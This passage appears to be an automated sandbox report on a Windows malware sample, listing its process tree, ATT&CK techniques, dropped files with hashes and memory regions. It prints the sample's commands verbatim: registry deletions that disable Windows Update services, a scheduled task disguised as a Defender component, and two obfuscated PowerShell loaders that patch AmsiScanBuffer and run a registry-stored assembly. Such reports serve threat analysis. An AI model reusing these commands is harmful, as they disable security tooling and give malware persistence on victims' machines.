    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2636
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3200
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4760
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:1292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4972 -ip 4972
1⤵
PID:4016

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:eWeaOgdfVQBO{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$aflNzVHGWgjtPW,[Parameter(Position=1)][Type]$SzyZOOuJDy)$NckIWEVLpjq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+'le'+'c'+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'ele'+'g'+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+''+'y'+'M'+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+''+'g'+'a'+'t'+''+'e'+'T'+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+'Pu'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+'n'+''+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+''+'s'+'s'+','+'A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$NckIWEVLpjq.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+'a'+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+'B'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+'b'+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$aflNzVHGWgjtPW).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+'i'+'me'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+'e'+[Char](100)+'');$NckIWEVLpjq.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+','+'N'+'e'+'w'+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+'i'+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$SzyZOOuJDy,$aflNzVHGWgjtPW).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');Write-Output $NckIWEVLpjq.CreateType();}$FiQVseZHmcrEQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+'.'+[Char](100)+''+'l'+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+'o'+''+[Char](115)+''+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+'.'+'U'+'n'+'sa'+[Char](102)+''+[Char](101)+''+[Char](70)+''+[Char](105)+''+[Char](81)+''+[Char](86)+''+[Char](115)+''+[Char](101)+'ZHm'+[Char](99)+''+'r'+''+[Char](69)+''+[Char](81)+'');$tDKQEAecAKpDSk=$FiQVseZHmcrEQ.GetMethod('t'+[Char](68)+''+'K'+''+[Char](81)+''+[Char](69)+''+'A'+'e'+[Char](99)+''+'A'+''+[Char](75)+''+'p'+''+[Char](68)+''+'S'+''+[Char](107)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'tat'+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lXUaFQdqAAQVbGRixsq=eWeaOgdfVQBO @([String])([IntPtr]);$LHRtmVjqTPAbpFqMwmfyjB=eWeaOgdfVQBO @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jfspRDyfqCf=$FiQVseZHmcrEQ.GetMethod('G'+[Char](101)+''+[Char](116)+'M'+'o'+''+[Char](100)+'u'+[Char](108)+'e'+[Char](72)+''+'a'+'n'+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+'2'+[Char](46)+'d'+[Char](108)+'l')));$SEFZsKozODJUll=$tDKQEAecAKpDSk.Invoke($Null,@([Object]$jfspRDyfqCf,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$nPGxHRUaehtPCFxHD=$tDKQEAecAKpDSk.Invoke($Null,@([Object]$jfspRDyfqCf,[Object](''+[Char](86)+''+'i'+'r'+'t'+''+'u'+''+[Char](97)+''+'l'+'Pr'+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$HintsWL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SEFZsKozODJUll,$lXUaFQdqAAQVbGRixsq).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+'l');$RKbcduaSFzIclxOFO=$tDKQEAecAKpDSk.Invoke($Null,@([Object]$HintsWL,[Object](''+'A'+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+'nB'+[Char](117)+''+[Char](102)+'f'+'e'+'r')));$WNqtTcIiAS=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nPGxHRUaehtPCFxHD,$LHRtmVjqTPAbpFqMwmfyjB).Invoke($RKbcduaSFzIclxOFO,[uint32]8,4,[ref]$WNqtTcIiAS);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$RKbcduaSFzIclxOFO,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nPGxHRUaehtPCFxHD,$LHRtmVjqTPAbpFqMwmfyjB).Invoke($RKbcduaSFzIclxOFO,[uint32]8,0x20,[ref]$WNqtTcIiAS);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+''+[Char](87)+'A'+[Char](82)+'E').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'e'+''+'r'+'s'+'t'+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ViwCWEanVVqb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EAAEmsKMTEgoCb,[Parameter(Position=1)][Type]$GhbKKLhkFZ)$xmRXvMlVtQr=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+'f'+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+'e'+'g'+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+''+'m'+''+'o'+''+'r'+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$xmRXvMlVtQr.DefineConstructor(''+'R'+''+'T'+'S'+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+'a'+'l'+''+[Char](78)+''+[Char](97)+''+'m'+'e'+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g,'+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$EAAEmsKMTEgoCb).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e,M'+[Char](97)+''+'n'+''+[Char](97)+'g'+'e'+'d');$xmRXvMlVtQr.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,H'+[Char](105)+'d'+[Char](101)+'B'+'y'+'S'+'i'+'g'+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+'o'+[Char](116)+','+[Char](86)+''+'i'+'r'+[Char](116)+'ua'+[Char](108)+'',$GhbKKLhkFZ,$EAAEmsKMTEgoCb).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+'i'+''+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $xmRXvMlVtQr.CreateType();}$usxCwMzOzvloc=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+''+[Char](116)+'e'+[Char](109)+''+'.'+'d'+'l'+'l')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+'f'+'t'+'.'+[Char](87)+'i'+[Char](110)+'32.U'+'n'+''+[Char](115)+''+'a'+''+[Char](102)+'e'+[Char](117)+''+[Char](115)+''+'x'+'C'+[Char](119)+''+[Char](77)+''+[Char](122)+'O'+[Char](122)+''+'v'+''+[Char](108)+''+[Char](111)+'c');$BoTDRYcMewqGUm=$usxCwMzOzvloc.GetMethod(''+[Char](66)+''+[Char](111)+''+[Char](84)+'D'+'R'+''+[Char](89)+''+[Char](99)+''+[Char](77)+''+[Char](101)+'wqG'+'U'+''+'m'+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FhzMlEZlNqCuLjVWETS=ViwCWEanVVqb @([String])([IntPtr]);$IgqvZrhmVfCNjmiwoWexoO=ViwCWEanVVqb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OWhIoSqESyC=$usxCwMzOzvloc.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+'u'+[Char](108)+''+[Char](101)+''+'H'+''+'a'+''+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('ke'+[Char](114)+'n'+'e'+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')));$fCinQfxyStNAWR=$BoTDRYcMewqGUm.Invoke($Null,@([Object]$OWhIoSqESyC,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+'A')));$mKpNNihjYnyPDLdHF=$BoTDRYcMewqGUm.Invoke($Null,@([Object]$OWhIoSqESyC,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+'l'+[Char](80)+'rote'+'c'+'t')));$apmDBEg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fCinQfxyStNAWR,$FhzMlEZlNqCuLjVWETS).Invoke('a'+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$vXfuVoDkBepvCwzQl=$BoTDRYcMewqGUm.Invoke($Null,@([Object]$apmDBEg,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+'S'+'c'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$JwNxtdLprj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mKpNNihjYnyPDLdHF,$IgqvZrhmVfCNjmiwoWexoO).Invoke($vXfuVoDkBepvCwzQl,[uint32]8,4,[ref]$JwNxtdLprj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vXfuVoDkBepvCwzQl,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mKpNNihjYnyPDLdHF,$IgqvZrhmVfCNjmiwoWexoO).Invoke($vXfuVoDkBepvCwzQl,[uint32]8,0x20,[ref]$JwNxtdLprj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'FT'+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue('d'+[Char](105)+'a'+[Char](108)+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
124edf3ad57549a6e475f3bc4e6cfe51

SHA1
80f5187eeebb4a304e9caa0ce66fcd78c113d634

SHA256
638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

SHA512
b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
8db953c45ec05891aa6a450faceb6998

SHA1
bbc9932e47ae87b7742b987af9d8431944473745

SHA256
0778cb7b12d9df3d965a2063075fecaed05dad4bc3e911c915acfb0f57df87b1

SHA512
0805325ad0bea82cd218719611da68dab274f7d140aa7c9613b2e7c7f3b347f39acc894819c953cbd9509a9dc2e339e31f3290ab8e74ccf93a5e68960b180a1c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c697637a9b17f577fccd7e83a5495810

SHA1
04e6054584786b88994b0e0a871562227fe2a435

SHA256
54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164

SHA512
66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
119KB

MD5
d7581dfed2ec35db8fb3af0568b7fedc

SHA1
2c592c3fada484378744960c6aa6c773f3320d4d

SHA256
ac9057fdc650c801c3120613a20e0b03ce5a9c89708ef4a7026bd30df71c5ffd

SHA512
9e8e601935051724a5993665ad25a509086f0d7343b32623e2479ae0216bfeeea66ec71b6761a93700a86a383dd0f3309a6edced1681c7596621c3808c3901fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
119KB

MD5
d7581dfed2ec35db8fb3af0568b7fedc

SHA1
2c592c3fada484378744960c6aa6c773f3320d4d

SHA256
ac9057fdc650c801c3120613a20e0b03ce5a9c89708ef4a7026bd30df71c5ffd

SHA512
9e8e601935051724a5993665ad25a509086f0d7343b32623e2479ae0216bfeeea66ec71b6761a93700a86a383dd0f3309a6edced1681c7596621c3808c3901fb

Download Submit
memory/2040-213-0x00007FFEEC210000-0x00007FFEEC2CE000-memory.dmp

Filesize
760KB

Download
memory/2040-212-0x00007FFEECF50000-0x00007FFEED145000-memory.dmp

Filesize
2.0MB

Download
memory/2040-211-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2040-208-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2696-171-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/2696-165-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/2984-201-0x00007FFECCF90000-0x00007FFECDA51000-memory.dmp

Filesize
10.8MB

Download
memory/2984-202-0x0000020FD5C19000-0x0000020FD5C1F000-memory.dmp

Filesize
24KB

Download
memory/2984-190-0x00007FFECCF90000-0x00007FFECDA51000-memory.dmp

Filesize
10.8MB

Download
memory/2984-200-0x0000020FD5C19000-0x0000020FD5C1F000-memory.dmp

Filesize
24KB

Download
memory/3028-176-0x000001BCB64E0000-0x000001BCB64FC000-memory.dmp

Filesize
112KB

Download
memory/3028-185-0x00007FFECCF90000-0x00007FFECDA51000-memory.dmp

Filesize
10.8MB

Download
memory/3028-186-0x00007FFECCF90000-0x00007FFECDA51000-memory.dmp

Filesize
10.8MB

Download
memory/3028-184-0x000001BCB6620000-0x000001BCB662A000-memory.dmp

Filesize
40KB

Download
memory/3028-173-0x000001BCB6170000-0x000001BCB6192000-memory.dmp

Filesize
136KB

Download
memory/3028-183-0x000001BCB6610000-0x000001BCB6616000-memory.dmp

Filesize
24KB

Download
memory/3028-182-0x000001BCB65E0000-0x000001BCB65E8000-memory.dmp

Filesize
32KB

Download
memory/3028-181-0x000001BCB6630000-0x000001BCB664A000-memory.dmp

Filesize
104KB

Download
memory/3028-177-0x00007FFECCF90000-0x00007FFECDA51000-memory.dmp

Filesize
10.8MB

Download
memory/3028-178-0x000001BCB65C0000-0x000001BCB65CA000-memory.dmp

Filesize
40KB

Download
memory/3028-179-0x000001BCB65F0000-0x000001BCB660C000-memory.dmp

Filesize
112KB

Download
memory/3028-180-0x000001BCB65D0000-0x000001BCB65DA000-memory.dmp

Filesize
40KB

Download
memory/4188-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4188-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4628-206-0x00007FFEECF50000-0x00007FFEED145000-memory.dmp

Filesize
2.0MB

Download
memory/4628-207-0x00007FFEEC210000-0x00007FFEEC2CE000-memory.dmp

Filesize
760KB

Download
memory/4628-205-0x00007FFECD210000-0x00007FFECDCD1000-memory.dmp

Filesize
10.8MB

Download
memory/4740-152-0x00000000077F0000-0x00000000077FA000-memory.dmp

Filesize
40KB

Download
memory/4740-145-0x0000000005E10000-0x0000000005E76000-memory.dmp

Filesize
408KB

Download
memory/4740-153-0x0000000007A40000-0x0000000007AD6000-memory.dmp

Filesize
600KB

Download
memory/4740-150-0x0000000007DC0000-0x000000000843A000-memory.dmp

Filesize
6.5MB

Download
memory/4740-158-0x00000000089F0000-0x0000000008F94000-memory.dmp

Filesize
5.6MB

Download
memory/4740-149-0x0000000006A10000-0x0000000006A2E000-memory.dmp

Filesize
120KB

Download
memory/4740-154-0x00000000079B0000-0x00000000079BE000-memory.dmp

Filesize
56KB

Download
memory/4740-157-0x0000000007B10000-0x0000000007B32000-memory.dmp

Filesize
136KB

Download
memory/4740-148-0x0000000072A10000-0x0000000072A5C000-memory.dmp

Filesize
304KB

Download
memory/4740-147-0x0000000007610000-0x0000000007642000-memory.dmp

Filesize
200KB

Download
memory/4740-146-0x0000000006460000-0x000000000647E000-memory.dmp

Filesize
120KB

Download
memory/4740-151-0x0000000007780000-0x000000000779A000-memory.dmp

Filesize
104KB

Download
memory/4740-144-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/4740-143-0x00000000054B0000-0x00000000054D2000-memory.dmp

Filesize
136KB

Download
memory/4740-155-0x0000000007A00000-0x0000000007A1A000-memory.dmp

Filesize
104KB

Download
memory/4740-156-0x00000000079F0000-0x00000000079F8000-memory.dmp

Filesize
32KB

Download
memory/4740-142-0x0000000005600000-0x0000000005C28000-memory.dmp

Filesize
6.2MB

Download
memory/4740-141-0x0000000002E90000-0x0000000002EC6000-memory.dmp

Filesize
216KB

Download